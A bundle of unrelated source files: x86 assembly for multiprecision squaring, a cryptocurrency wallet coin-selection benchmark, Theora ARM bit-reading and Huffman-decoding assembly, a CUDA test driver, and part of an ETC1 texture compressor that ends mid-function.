C esi dst[1]
C edi dst[2]
C ebp dst[3]
xorl %eax, %eax
addl %esi, %esi
adcl %edi, %edi
adcl %ebp, %ebp
adcl %edx, %edx
adcl $0, %eax
addl %esi, 4(%ecx)
adcl %edi, 8(%ecx)
adcl %ebp, 12(%ecx)
popl %ebp
popl %edi
adcl %edx, 16(%ecx)
popl %esi
popl %ebx
adcl %eax, 20(%ecx)
ASSERT(nc)
ret
C -----------------------------------------------------------------------------
defframe(SAVE_EBX, -4)
defframe(SAVE_ESI, -8)
defframe(SAVE_EDI, -12)
defframe(SAVE_EBP, -16)
defframe(VAR_COUNTER,-20)
defframe(VAR_JMP, -24)
deflit(STACK_SPACE, 24)
ALIGN(16)
L(four_or_more):
C eax src
C ebx
C ecx size
C edx dst
C esi
C edi
C ebp
C First multiply src[0]*src[1..size-1] and store at dst[1..size].
C
C A test was done calling mpn_mul_1 here to get the benefit of its unrolled
C loop, but this was only a tiny speedup; at 35 limbs it took 24 cycles off
C a 5780 cycle operation, which is not surprising since the loop here is 8
C c/l and mpn_mul_1 is 6.25 c/l.
subl $STACK_SPACE, %esp deflit(`FRAME',STACK_SPACE)
movl %edi, SAVE_EDI
leal 4(%edx), %edi
movl %ebx, SAVE_EBX
leal 4(%eax), %ebx
movl %esi, SAVE_ESI
xorl %esi, %esi
movl %ebp, SAVE_EBP
C eax
C ebx src+4
C ecx size
C edx
C esi
C edi dst+4
C ebp
movl (%eax), %ebp C multiplier
leal -1(%ecx), %ecx C size-1, and pad to a 16 byte boundary
ALIGN(16)
L(mul_1):
C eax scratch
C ebx src ptr
C ecx counter
C edx scratch
C esi carry
C edi dst ptr
C ebp multiplier
movl (%ebx), %eax
addl $4, %ebx
mull %ebp
addl %esi, %eax
movl $0, %esi
adcl %edx, %esi
movl %eax, (%edi)
addl $4, %edi
loop L(mul_1)
C Addmul src[n]*src[n+1..size-1] at dst[2*n-1...], for each n=1..size-2.
C
C The last two addmuls, which are the bottom right corner of the product
C triangle, are left to the end. These are src[size-3]*src[size-2,size-1]
C and src[size-2]*src[size-1]. If size is 4 then it's only these corner
C cases that need to be done.
C
C The unrolled code is the same as mpn_addmul_1(), see that routine for some
C comments.
C
C VAR_COUNTER is the outer loop, running from -(size-4) to -1, inclusive.
C
C VAR_JMP is the computed jump into the unrolled code, stepped by one code
C chunk each outer loop.
C
C K6 doesn't do any branch prediction on indirect jumps, which is good
C actually because it's a different target each time. The unrolled addmul
C is about 3 cycles/limb faster than a simple loop, so the 6 cycle cost of
C the indirect jump is quickly recovered.
dnl This value is also implicitly encoded in a shift and add.
dnl
deflit(CODE_BYTES_PER_LIMB, 15)
dnl With the unmodified &src[size] and &dst[size] pointers, the
dnl displacements in the unrolled code fit in a byte for UNROLL_COUNT
dnl values up to 31. Above that an offset must be added to them.
dnl
deflit(OFFSET,
ifelse(eval(UNROLL_COUNT>31),1,
eval((UNROLL_COUNT-31)*4),
0))
C eax
C ebx &src[size]
C ecx
C edx
C esi carry
C edi &dst[size]
C ebp
movl PARAM_SIZE, %ecx
movl %esi, (%edi)
subl $4, %ecx
jz L(corner)
movl %ecx, %edx
ifelse(OFFSET,0,,
` subl $OFFSET, %ebx')
shll $4, %ecx
ifelse(OFFSET,0,,
` subl $OFFSET, %edi')
negl %ecx
ifdef(`PIC',`
call L(pic_calc)
L(here):
',`
leal L(unroll_inner_end)-eval(2*CODE_BYTES_PER_LIMB)(%ecx,%edx), %ecx
')
negl %edx
C The calculated jump mustn't be before the start of the available
C code. This is the limitation UNROLL_COUNT puts on the src operand
C size, but checked here using the jump address directly.
C
ASSERT(ae,`
movl_text_address( L(unroll_inner_start), %eax)
cmpl %eax, %ecx
')
C -----------------------------------------------------------------------------
ALIGN(16)
L(unroll_outer_top):
C eax
C ebx &src[size], constant
C ecx VAR_JMP
C edx VAR_COUNTER, limbs, negative
C esi high limb to store
C edi dst ptr, high of last addmul
C ebp
movl -12+OFFSET(%ebx,%edx,4), %ebp C multiplier
movl %edx, VAR_COUNTER
movl -8+OFFSET(%ebx,%edx,4), %eax C first limb of multiplicand
mull %ebp
testb $1, %cl
movl %edx, %esi C high carry
movl %ecx, %edx C jump
movl %eax, %ecx C low carry
leal CODE_BYTES_PER_LIMB(%edx), %edx
movl %edx, VAR_JMP
leal 4(%edi), %edi
C A branch-free version of this using some xors was found to be a
C touch slower than just a conditional jump, despite the jump
C switching between taken and not taken on every loop.
ifelse(eval(UNROLL_COUNT%2),0,
jz,jnz) L(unroll_noswap)
movl %esi, %eax C high,low carry other way around
movl %ecx, %esi
movl %eax, %ecx
L(unroll_noswap):
jmp *%edx
C Must be on an even address here so the low bit of the jump address
C will indicate which way around ecx/esi should start.
C
C An attempt was made at padding here to get the end of the unrolled
C code to come out on a good alignment, to save padding before
C L(corner). This worked, but turned out to run slower than just an
C ALIGN(2). The reason for this is not clear, it might be related
C to the different speeds on different UNROLL_COUNTs noted above.
ALIGN(2)
L(unroll_inner_start):
C eax scratch
C ebx src
C ecx carry low
C edx scratch
C esi carry high
C edi dst
C ebp multiplier
C
C 15 code bytes each limb
C ecx/esi swapped on each chunk
forloop(`i', UNROLL_COUNT, 1, `
deflit(`disp_src', eval(-i*4 + OFFSET))
deflit(`disp_dst', eval(disp_src - 4))
m4_assert(`disp_src>=-128 && disp_src<128')
m4_assert(`disp_dst>=-128 && disp_dst<128')
ifelse(eval(i%2),0,`
Zdisp( movl, disp_src,(%ebx), %eax)
mull %ebp
Zdisp( addl, %esi, disp_dst,(%edi))
adcl %eax, %ecx
movl %edx, %esi
jadcl0( %esi)
',`
dnl this one comes out last
Zdisp( movl, disp_src,(%ebx), %eax)
mull %ebp
Zdisp( addl, %ecx, disp_dst,(%edi))
adcl %eax, %esi
movl %edx, %ecx
jadcl0( %ecx)
')
')
L(unroll_inner_end):
addl %esi, -4+OFFSET(%edi)
movl VAR_COUNTER, %edx
jadcl0( %ecx)
movl %ecx, m4_empty_if_zero(OFFSET)(%edi)
movl VAR_JMP, %ecx
incl %edx
jnz L(unroll_outer_top)
ifelse(OFFSET,0,,`
addl $OFFSET, %ebx
addl $OFFSET, %edi
')
C -----------------------------------------------------------------------------
ALIGN(16)
L(corner):
C ebx &src[size]
C edi &dst[2*size-5]
movl -12(%ebx), %ebp
movl -8(%ebx), %eax
movl %eax, %ecx
mull %ebp
addl %eax, -4(%edi)
adcl $0, %edx
movl -4(%ebx), %eax
movl %edx, %esi
movl %eax, %ebx
mull %ebp
addl %esi, %eax
adcl $0, %edx
addl %eax, (%edi)
adcl $0, %edx
movl %edx, %esi
movl %ebx, %eax
mull %ecx
addl %esi, %eax
movl %eax, 4(%edi)
adcl $0, %edx
movl %edx, 8(%edi)
C -----------------------------------------------------------------------------
C Left shift of dst[1..2*size-2], the bit shifted out becomes dst[2*size-1].
C The loop measures about 6 cycles/iteration, though it looks like it should
C decode in 5.
L(lshift_start):
movl PARAM_SIZE, %ecx
movl PARAM_DST, %edi
subl $1, %ecx C size-1 and clear carry
movl PARAM_SRC, %ebx
movl %ecx, %edx
xorl %eax, %eax C ready for adcl
ALIGN(16)
L(lshift):
C eax
C ebx src (for later use)
C ecx counter, decrementing
C edx size-1 (for later use)
C esi
C edi dst, incrementing
C ebp
rcll 4(%edi)
rcll 8(%edi)
leal 8(%edi), %edi
loop L(lshift)
adcl %eax, %eax
movl %eax, 4(%edi) C dst most significant limb
movl (%ebx), %eax C src[0]
leal 4(%ebx,%edx,4), %ebx C &src[size]
subl %edx, %ecx C -(size-1)
C -----------------------------------------------------------------------------
C Now add in the squares on the diagonal, src[0]^2, src[1]^2, ...,
C src[size-1]^2. dst[0] hasn't yet been set at all yet, and just gets the
C low limb of src[0]^2.
mull %eax
movl %eax, (%edi,%ecx,8) C dst[0]
ALIGN(16)
L(diag):
C eax scratch
C ebx &src[size]
C ecx counter, negative
C edx carry
C esi scratch
C edi dst[2*size-2]
C ebp
movl (%ebx,%ecx,4), %eax
movl %edx, %esi
mull %eax
addl %esi, 4(%edi,%ecx,8)
adcl %eax, 8(%edi,%ecx,8)
adcl $0, %edx
incl %ecx
jnz L(diag)
movl SAVE_EBX, %ebx
movl SAVE_ESI, %esi
addl %edx, 4(%edi) C dst most significant limb
movl SAVE_EDI, %edi
movl SAVE_EBP, %ebp
addl $FRAME, %esp
ret
C -----------------------------------------------------------------------------
ifdef(`PIC',`
L(pic_calc):
C See mpn/x86/README about old gas bugs
addl (%esp), %ecx
addl $L(unroll_inner_end)-L(here)-eval(2*CODE_BYTES_PER_LIMB), %ecx
addl %edx, %ecx
ret_internal
')
EPILOGUE()
|
// Copyright (c) 2012-2016 The Ilcoin Core developers
// All Rights Reserved. Ilgamos International 2017©
#include "bench.h"
#include "wallet/wallet.h"
#include <boost/foreach.hpp>
#include <set>
static void addCoin(const CAmount& nValue, const CWallet& wallet, std::vector<COutput>& vCoins)
{
int nInput = 0;
static int nextLockTime = 0;
CMutableTransaction tx;
tx.nLockTime = nextLockTime++; // so all transactions get different hashes
tx.vout.resize(nInput + 1);
tx.vout[nInput].nValue = nValue;
CWalletTx* wtx = new CWalletTx(&wallet, MakeTransactionRef(std::move(tx)));
int nAge = 6 * 24;
COutput output(wtx, nInput, nAge, true, true);
vCoins.push_back(output);
}
// Simple benchmark for wallet coin selection. Note that it maybe be necessary
// to build up more complicated scenarios in order to get meaningful
// measurements of performance. From laanwj, "Wallet coin selection is probably
// the hardest, as you need a wider selection of scenarios, just testing the
// same one over and over isn't too useful. Generating random isn't useful
// either for measurements."
// (https://github.com/ilcoin/ilcoin/issues/7883#issuecomment-224807484)
static void CoinSelection(benchmark::State& state)
{
const CWallet wallet;
std::vector<COutput> vCoins;
LOCK(wallet.cs_wallet);
while (state.KeepRunning()) {
// Empty wallet.
BOOST_FOREACH (COutput output, vCoins)
delete output.tx;
vCoins.clear();
// Add coins.
for (int i = 0; i < 1000; i++)
addCoin(1000 * COIN, wallet, vCoins);
addCoin(3 * COIN, wallet, vCoins);
std::set<std::pair<const CWalletTx*, unsigned int> > setCoinsRet;
CAmount nValueRet;
bool success = wallet.SelectCoinsMinConf(1003 * COIN, 1, 6, 0, vCoins, setCoinsRet, nValueRet);
assert(success);
assert(nValueRet == 1003 * COIN);
assert(setCoinsRet.size() == 2);
}
}
BENCHMARK(CoinSelection);
|
#ifdef OC_ARM_ASM
@********************************************************************
@* *
@* THIS FILE IS PART OF THE OggTheora SOFTWARE CODEC SOURCE CODE. *
@* USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS *
@* GOVERNED BY A BSD-STYLE SOURCE LICENSE INCLUDED WITH THIS SOURCE *
@* IN 'COPYING'. PLEASE READ THESE TERMS BEFORE DISTRIBUTING. *
@* *
@* THE Theora SOURCE CODE IS COPYRIGHT (C) 2002-2010 *
@* by the Xiph.Org Foundation and contributors http://www.xiph.org/ *
@* *
@********************************************************************
@
@ function:
@ last mod: $Id: armbits.s 17481 2010-10-03 22:49:42Z tterribe $
@
@********************************************************************
.text; .p2align 2
.global _oc_pack_read_arm
.global _oc_pack_read1_arm
.global _oc_huff_token_decode_arm
@ .type oc_pack_read1_arm, %function; oc_pack_read1_arm: @ PROC
_oc_pack_read1_arm:
@ r0 = oc_pack_buf *_b
ADD r12,r0,#8
LDMIA r12,{r2,r3} @ r2 = window
@ Stall... ; r3 = available
@ Stall...
SUBS r3,r3,#1 @ r3 = available-1, available<1 => LT
BLT oc_pack_read1_refill
MOV r0,r2,LSR #31 @ r0 = window>>31
MOV r2,r2,LSL #1 @ r2 = window<<=1
STMIA r12,{r2,r3} @ window = r2
@ available = r3
MOV PC,r14
@ .size oc_pack_read1_arm, .-oc_pack_read1_arm @ ENDP
@ .type oc_pack_read_arm, %function; oc_pack_read_arm: @ PROC
_oc_pack_read_arm:
@ r0 = oc_pack_buf *_b
@ r1 = int _bits
ADD r12,r0,#8
LDMIA r12,{r2,r3} @ r2 = window
@ Stall... ; r3 = available
@ Stall...
SUBS r3,r3,r1 @ r3 = available-_bits, available<_bits => LT
BLT oc_pack_read_refill
RSB r0,r1,#32 @ r0 = 32-_bits
MOV r0,r2,LSR r0 @ r0 = window>>32-_bits
MOV r2,r2,LSL r1 @ r2 = window<<=_bits
STMIA r12,{r2,r3} @ window = r2
@ available = r3
MOV PC,r14
@ We need to refill window.
oc_pack_read1_refill:
MOV r1,#1
oc_pack_read_refill:
STMFD r13!,{r10,r11,r14}
LDMIA r0,{r10,r11} @ r10 = stop
@ r11 = ptr
RSB r0,r1,#32 @ r0 = 32-_bits
RSB r3,r3,r0 @ r3 = 32-available
@ We can use unsigned compares for both the pointers and for available
@ (allowing us to chain condition codes) because available will never be
@ larger than 32 (or we wouldn't be here), and thus 32-available will never be
@ negative.
CMP r10,r11 @ ptr<stop => HI
CMPHI r3,#7 @ available<=24 => HI
LDRBHI r14,[r11],#1 @ r14 = *ptr++
SUBHI r3,#8 @ available += 8
@ (HI) Stall...
ORRHI r2,r14,LSL r3 @ r2 = window|=r14<<32-available
CMPHI r10,r11 @ ptr<stop => HI
CMPHI r3,#7 @ available<=24 => HI
LDRBHI r14,[r11],#1 @ r14 = *ptr++
SUBHI r3,#8 @ available += 8
@ (HI) Stall...
ORRHI r2,r14,LSL r3 @ r2 = window|=r14<<32-available
CMPHI r10,r11 @ ptr<stop => HI
CMPHI r3,#7 @ available<=24 => HI
LDRBHI r14,[r11],#1 @ r14 = *ptr++
SUBHI r3,#8 @ available += 8
@ (HI) Stall...
ORRHI r2,r14,LSL r3 @ r2 = window|=r14<<32-available
CMPHI r10,r11 @ ptr<stop => HI
CMPHI r3,#7 @ available<=24 => HI
LDRBHI r14,[r11],#1 @ r14 = *ptr++
SUBHI r3,#8 @ available += 8
@ (HI) Stall...
ORRHI r2,r14,LSL r3 @ r2 = window|=r14<<32-available
SUBS r3,r0,r3 @ r3 = available-=_bits, available<bits => GT
BLT oc_pack_read_refill_last
MOV r0,r2,LSR r0 @ r0 = window>>32-_bits
MOV r2,r2,LSL r1 @ r2 = window<<=_bits
STR r11,[r12,#-4] @ ptr = r11
STMIA r12,{r2,r3} @ window = r2
@ available = r3
LDMFD r13!,{r10,r11,PC}
@ Either we wanted to read more than 24 bits and didn't have enough room to
@ stuff the last byte into the window, or we hit the end of the packet.
oc_pack_read_refill_last:
CMP r11,r10 @ ptr<stop => LO
@ If we didn't hit the end of the packet, then pull enough of the next byte to
@ to fill up the window.
LDRBLO r14,[r11] @ (LO) r14 = *ptr
@ Otherwise, set the EOF flag and pretend we have lots of available bits.
MOVHS r14,#1 @ (HS) r14 = 1
ADDLO r10,r3,r1 @ (LO) r10 = available
STRHS r14,[r12,#8] @ (HS) eof = 1
ANDLO r10,r10,#7 @ (LO) r10 = available0x7
MOVHS r3,#1<<30 @ (HS) available = OC_LOTS_OF_BITS
ORRLO r2,r14,LSL r10 @ (LO) r2 = window|=*ptr>>(available0x7)
MOV r0,r2,LSR r0 @ r0 = window>>32-_bits
MOV r2,r2,LSL r1 @ r2 = window<<=_bits
STR r11,[r12,#-4] @ ptr = r11
STMIA r12,{r2,r3} @ window = r2
@ available = r3
LDMFD r13!,{r10,r11,PC}
@ .size oc_pack_read_arm, .-oc_pack_read_arm @ ENDP
@ .type oc_huff_token_decode_arm, %function; oc_huff_token_decode_arm: @ PROC
_oc_huff_token_decode_arm:
@ r0 = oc_pack_buf *_b
@ r1 = const ogg_int16_t *_tree
STMFD r13!,{r4,r5,r10,r14}
LDRSH r10,[r1] @ r10 = n=_tree[0]
LDMIA r0,{r2-r5} @ r2 = stop
@ Stall... ; r3 = ptr
@ Stall... ; r4 = window
@ r5 = available
CMP r10,r5 @ n>available => GT
BGT oc_huff_token_decode_refill0
RSB r14,r10,#32 @ r14 = 32-n
MOV r14,r4,LSR r14 @ r14 = bits=window>>32-n
ADD r14,r1,r14,LSL #1 @ r14 = _tree+bits
LDRSH r12,[r14,#2] @ r12 = node=_tree[1+bits]
@ Stall...
@ Stall...
RSBS r14,r12,#0 @ r14 = -node, node>0 => MI
BMI oc_huff_token_decode_continue
MOV r10,r14,LSR #8 @ r10 = n=node>>8
MOV r4,r4,LSL r10 @ r4 = window<<=n
SUB r5,r10 @ r5 = available-=n
STMIB r0,{r3-r5} @ ptr = r3
@ window = r4
@ available = r5
AND r0,r14,#255 @ r0 = node0x255
LDMFD r13!,{r4,r5,r10,pc}
@ The first tree node wasn't enough to reach a leaf, read another
oc_huff_token_decode_continue:
ADD r12,r1,r12,LSL #1 @ r12 = _tree+node
MOV r4,r4,LSL r10 @ r4 = window<<=n
SUB r5,r5,r10 @ r5 = available-=n
LDRSH r10,[r12],#2 @ r10 = n=_tree[node]
@ Stall... ; r12 = _tree+node+1
@ Stall...
CMP r10,r5 @ n>available => GT
BGT oc_huff_token_decode_refill
RSB r14,r10,#32 @ r14 = 32-n
MOV r14,r4,LSR r14 @ r14 = bits=window>>32-n
ADD r12,r12,r14 @
LDRSH r12,[r12,r14] @ r12 = node=_tree[node+1+bits]
@ Stall...
@ Stall...
RSBS r14,r12,#0 @ r14 = -node, node>0 => MI
BMI oc_huff_token_decode_continue
MOV r10,r14,LSR #8 @ r10 = n=node>>8
MOV r4,r4,LSL r10 @ r4 = window<<=n
SUB r5,r10 @ r5 = available-=n
STMIB r0,{r3-r5} @ ptr = r3
@ window = r4
@ available = r5
AND r0,r14,#255 @ r0 = node0x255
LDMFD r13!,{r4,r5,r10,pc}
oc_huff_token_decode_refill0:
ADD r12,r1,#2 @ r12 = _tree+1
oc_huff_token_decode_refill:
@ We can't possibly need more than 15 bits, so available must be <= 15.
@ Therefore we can load at least two bytes without checking it.
CMP r2,r3 @ ptr<stop => HI
LDRBHI r14,[r3],#1 @ r14 = *ptr++
RSBHI r5,r5,#24 @ (HI) available = 32-(available+=8)
RSBLS r5,r5,#32 @ (LS) r5 = 32-available
ORRHI r4,r14,LSL r5 @ r4 = window|=r14<<32-available
CMPHI r2,r3 @ ptr<stop => HI
LDRBHI r14,[r3],#1 @ r14 = *ptr++
SUBHI r5,#8 @ available += 8
@ (HI) Stall...
ORRHI r4,r14,LSL r5 @ r4 = window|=r14<<32-available
@ We can use unsigned compares for both the pointers and for available
@ (allowing us to chain condition codes) because available will never be
@ larger than 32 (or we wouldn't be here), and thus 32-available will never be
@ negative.
CMPHI r2,r3 @ ptr<stop => HI
CMPHI r5,#7 @ available<=24 => HI
LDRBHI r14,[r3],#1 @ r14 = *ptr++
SUBHI r5,#8 @ available += 8
@ (HI) Stall...
ORRHI r4,r14,LSL r5 @ r4 = window|=r14<<32-available
CMP r2,r3 @ ptr<stop => HI
MOVLS r5,#-1<<30 @ (LS) available = OC_LOTS_OF_BITS+32
CMPHI r5,#7 @ (HI) available<=24 => HI
LDRBHI r14,[r3],#1 @ (HI) r14 = *ptr++
SUBHI r5,#8 @ (HI) available += 8
@ (HI) Stall...
ORRHI r4,r14,LSL r5 @ (HI) r4 = window|=r14<<32-available
RSB r14,r10,#32 @ r14 = 32-n
MOV r14,r4,LSR r14 @ r14 = bits=window>>32-n
ADD r12,r12,r14 @
LDRSH r12,[r12,r14] @ r12 = node=_tree[node+1+bits]
RSB r5,r5,#32 @ r5 = available
@ Stall...
RSBS r14,r12,#0 @ r14 = -node, node>0 => MI
BMI oc_huff_token_decode_continue
MOV r10,r14,LSR #8 @ r10 = n=node>>8
MOV r4,r4,LSL r10 @ r4 = window<<=n
SUB r5,r10 @ r5 = available-=n
STMIB r0,{r3-r5} @ ptr = r3
@ window = r4
@ available = r5
AND r0,r14,#255 @ r0 = node0x255
LDMFD r13!,{r4,r5,r10,pc}
@ .size oc_huff_token_decode_arm, .-oc_huff_token_decode_arm @ ENDP
@ END
@ .section .note.GNU-stack,"",%progbits
#endif
|
#include <iostream>
#include "unit_test_image_function_cuda.h"
#include "../unit_test_framework.h"
#include "../unit_test_helper.h"
#include "../../../src/cuda/cuda_device.cuh"
#include "../../../src/cuda/cuda_helper.cuh"
int main( int argc, char* argv[] )
{
if ( !multiCuda::isCudaSupported() ) {
std::cout << "No CUDA devices in the system" << std::endl;
return 0;
}
Unit_Test::setRunCount( argc, argv, 1001 );
multiCuda::CudaDeviceManager & deviceManager = multiCuda::CudaDeviceManager::instance();
deviceManager.initializeDevices();
int returnValue = 0;
for ( int deviceId = 0; deviceId < deviceManager.deviceCount(); ++deviceId ) {
deviceManager.setActiveDevice( deviceId );
const multiCuda::CudaDevice & device = deviceManager.device();
std::cout << device.name() << ": " << device.computeCapability() << std::endl;
multiCuda::MemoryManager::memory().reserve( 32 * 1024 * 1024 ); // preallocate memory (32 MB)
UnitTestFramework framework;
addTests_Image_Function_Cuda( framework );
returnValue += framework.run();
}
return returnValue;
}
|
// Copyright 2009 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
/*
The original source code has been modified for integration.
*/
#include "etc1.h"
#include <string.h>
#include <mango/core/configure.hpp>
#include <mango/image/compression.hpp>
#ifdef MANGO_ENABLE_LICENSE_APACHE
/* From http://www.khronos.org/registry/gles/extensions/OES/OES_compressed_ETC1_RGB8_texture.txt
The number of bits that represent a 4x4 texel block is 64 bits if
<internalformat> is given by ETC1_RGB8_OES.
The data for a block is a number of bytes,
{q0, q1, q2, q3, q4, q5, q6, q7}
where byte q0 is located at the lowest memory address and q7 at
the highest. The 64 bits specifying the block is then represented
by the following 64 bit integer:
int64bit = 256*(256*(256*(256*(256*(256*(256*q0+q1)+q2)+q3)+q4)+q5)+q6)+q7;
ETC1_RGB8_OES:
a) bit layout in bits 63 through 32 if diffbit = 0
63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48
-----------------------------------------------
| base col1 | base col2 | base col1 | base col2 |
| R1 (4bits)| R2 (4bits)| G1 (4bits)| G2 (4bits)|
-----------------------------------------------
47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32
---------------------------------------------------
| base col1 | base col2 | table | table |diff|flip|
| B1 (4bits)| B2 (4bits)| cw 1 | cw 2 |bit |bit |
---------------------------------------------------
b) bit layout in bits 63 through 32 if diffbit = 1
63 62 61 60 59 58 57 56 55 54 53 52 51 50 49 48
-----------------------------------------------
| base col1 | dcol 2 | base col1 | dcol 2 |
| R1' (5 bits) | dR2 | G1' (5 bits) | dG2 |
-----------------------------------------------
47 46 45 44 43 42 41 40 39 38 37 36 35 34 33 32
---------------------------------------------------
| base col 1 | dcol 2 | table | table |diff|flip|
| B1' (5 bits) | dB2 | cw 1 | cw 2 |bit |bit |
---------------------------------------------------
c) bit layout in bits 31 through 0 (in both cases)
31 30 29 28 27 26 25 24 23 22 21 20 19 18 17 16
-----------------------------------------------
| most significant pixel index bits |
| p| o| n| m| l| k| j| i| h| g| f| e| d| c| b| a|
-----------------------------------------------
15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
--------------------------------------------------
| least significant pixel index bits |
| p| o| n| m| l| k| j| i| h| g| f| e| d| c | b | a |
--------------------------------------------------
Add table 3.17.2: Intensity modifier sets for ETC1 compressed textures:
table codeword modifier table
------------------ ----------------------
0 -8 -2 2 8
1 -17 -5 5 17
2 -29 -9 9 29
3 -42 -13 13 42
4 -60 -18 18 60
5 -80 -24 24 80
6 -106 -33 33 106
7 -183 -47 47 183
Add table 3.17.3 Mapping from pixel index values to modifier values for
ETC1 compressed textures:
pixel index value
---------------
msb lsb resulting modifier value
----- ----- -------------------------
1 1 -b (large negative value)
1 0 -a (small negative value)
0 0 a (small positive value)
0 1 b (large positive value)
*/
static const int kModifierTable[] = {
/* 0 */2, 8, -2, -8,
/* 1 */5, 17, -5, -17,
/* 2 */9, 29, -9, -29,
/* 3 */13, 42, -13, -42,
/* 4 */18, 60, -18, -60,
/* 5 */24, 80, -24, -80,
/* 6 */33, 106, -33, -106,
/* 7 */47, 183, -47, -183 };
static inline etc1_byte clamp(int x) {
if ((unsigned)x > 255)
{
if (x < 0) x = 0;
else x = 255;
}
return static_cast<etc1_byte>(x);
}
static
inline int convert4To8(int b) {
int c = b & 0xf;
return (c << 4) | c;
}
static
inline int convert5To8(int b) {
int c = b & 0x1f;
return (c << 3) | (c >> 2);
}
static
inline int divideBy255(int d) {
//return d / 255;
return (d + 128 + (d >> 8)) >> 8;
}
static
inline int convert8To4(int b) {
int c = b & 0xff;
return divideBy255(c * 15);
}
static
inline int convert8To5(int b) {
int c = b & 0xff;
return divideBy255(c * 31);
}
typedef struct {
etc1_uint32 high;
etc1_uint32 low;
etc1_uint32 score; // Lower is more accurate
} etc_compressed;
static
inline void take_best(etc_compressed* a, const etc_compressed* b) {
if (a->score > b->score) {
*a = *b;
}
}
static
void etc_average_colors_subblock(const etc1_byte* pIn, int stride,
etc1_byte* pColors, bool flipped, int base) {
int r = 0;
int g = 0;
int b = 0;
if (flipped) {
for (int y = 0; y < 2; y++) {
const etc1_byte* p = pIn + (base + y) * stride;
for (int x = 0; x < 4; x++) {
r += p[0];
g += p[1];
b += p[2];
p += 4;
}
}
} else {
for (int y = 0; y < 4; y++) {
const etc1_byte* p = pIn + y * stride + base * 4;
for (int x = 0; x < 2; x++) {
r += p[0];
g += p[1];
b += p[2];
p += 4;
}
}
}
pColors[0] = (etc1_byte)((r + 4) >> 3);
pColors[1] = (etc1_byte)((g + 4) >> 3);
pColors[2] = (etc1_byte)((b + 4) >> 3);
}
static
inline int square(int x) {
return x * x;
}
static etc1_uint32 chooseModifier(const etc1_byte* pBaseColors,
const etc1_byte* pIn, etc1_uint32 *pLow, int bitIndex,
const int* pModifierTable) {
etc1_uint32 bestScore = ~etc1_uint32(0);
int bestIndex = 0;
int pixelR = pIn[0];
int pixelG = pIn[1];
int pixelB = pIn[2];
int r = pBaseColors[0];
int g = pBaseColors[1];
int b = pBaseColors[2];
for (int i = 0; i < 4; i++) {
int modifier = pModifierTable[i];
int decodedG = clamp(g + modifier);
etc1_uint32 score = (etc1_uint32) (6 * square(decodedG - pixelG));
if (score >= bestScore) {
continue;
}
int decodedR = clamp(r + modifier);
score += (etc1_uint32) (3 * square(decodedR - pixelR));
if (score >= bestScore) {
continue;
}
int decodedB = clamp(b + modifier);
score += (etc1_uint32) square(decodedB - pixelB);
if (score < bestScore) {
bestScore = score;
bestIndex = i;
}
}
etc1_uint32 lowMask = (((bestIndex >> 1) << 16) | (bestIndex & 1)) << bitIndex;
*pLow |= lowMask;
return bestScore;
}
static
void etc_encode_subblock_helper(const etc1_byte* pIn, int stride,
etc_compressed* pCompressed, bool flipped, int base,
const etc1_byte* pBaseColors, const int* pModifierTable) {
int score = pCompressed->score;
if (flipped) {
for (int y = 0; y < 2; y++) {
int yy = base + y;
for (int x = 0; x < 4; x++) {
score += chooseModifier(pBaseColors, pIn + x * 4 + yy * stride,
&pCompressed->low, yy + x * 4, pModifierTable);
}
}
} else {
for (int y = 0; y < 4; y++) {
for (int x = 0; x < 2; x++) {
int xx = base + x;
score += chooseModifier(pBaseColors, pIn + xx * 4 + y * stride,
&pCompressed->low, y + xx * 4, pModifierTable);
}
}
}
pCompressed->score = score;
}
static bool inRange4bitSigned(int color) {
return color >= -4 && color <= 3;
}
static void etc_encodeBaseColors(etc1_byte* pBaseColors,
const etc1_byte* pColors, etc_compressed* pCompressed) {
int r1, g1, b1, r2, g2, b2; // 8 bit base colors for sub-blocks
// Silence compiler warning about uninitialized variables
r2 = 0;
g2 = 0;
b2 = 0;
bool differential;
{
int r51 = convert8To5(pColors[0]);
int g51 = convert8To5(pColors[1]);
int b51 = convert8To5(pColors[2]);
int r52 = convert8To5(pColors[4]);
int g52 = convert8To5(pColors[5]);
int b52 = convert8To5(pColors[6]);
r1 = convert5To8(r51);
g1 = convert5To8(g51);
b1 = convert5To8(b51);
int dr = r52 - r51;
int dg = g52 - g51;
int db = b52 - b51;
differential = inRange4bitSigned(dr) && inRange4bitSigned(dg)
&& inRange4bitSigned(db);
if (differential) {
r2 = convert5To8(r51 + dr);
g2 = convert5To8(g51 + dg);
b2 = convert5To8(b51 + db);
pCompressed->high |= (r51 << 27) | ((7 & dr) << 24) | (g51 << 19) | ((7 & dg) << 16) | (b51 << 11) | ((7 & db) << 8) | 2;
}
}
if (!differential) {
int r41 = convert8To4(pColors[0]);
int g41 = convert8To4(pColors[1]);
int b41 = convert8To4(pColors[2]);
int r42 = convert8To4(pColors[4]);
int g42 = convert8To4(pColors[5]);
int b42 = convert8To4(pColors[6]);
r1 = convert4To8(r41);
g1 = convert4To8(g41);
b1 = convert4To8(b41);
r2 = convert4To8(r42);
g2 = convert4To8(g42);
b2 = convert4To8(b42);
pCompressed->high |= (r41 << 28) | (r42 << 24) | (g41 << 20) | (g42 << 16) | (b41 << 12) | (b42 << 8);
}
pBaseColors[0] = static_cast<etc1_byte>(r1);
pBaseColors[1] = static_cast<etc1_byte>(g1);
pBaseColors[2] = static_cast<etc1_byte>(b1);
pBaseColors[3] = static_cast<etc1_byte>(0);
pBaseColors[4] = static_cast<etc1_byte>(r2);
pBaseColors[5] = static_cast<etc1_byte>(g2);
pBaseColors[6] = static_cast<etc1_byte>(b2);
pBaseColors[7] = static_cast<etc1_byte>(0);
}
static
void etc_encode_block_helper(const etc1_byte* pIn, int stride,
const etc1_byte* pColors, etc_compressed* pCompressed, bool flipped) {
pCompressed->score = ~etc1_uint32(0);
pCompressed->high = (flipped ? 1 : 0);
pCompressed->low = 0;
etc1_byte pBaseColors[8];
etc_encodeBaseColors(pBaseColors, pColors, pCompressed);
int originalHigh = pCompressed->high;
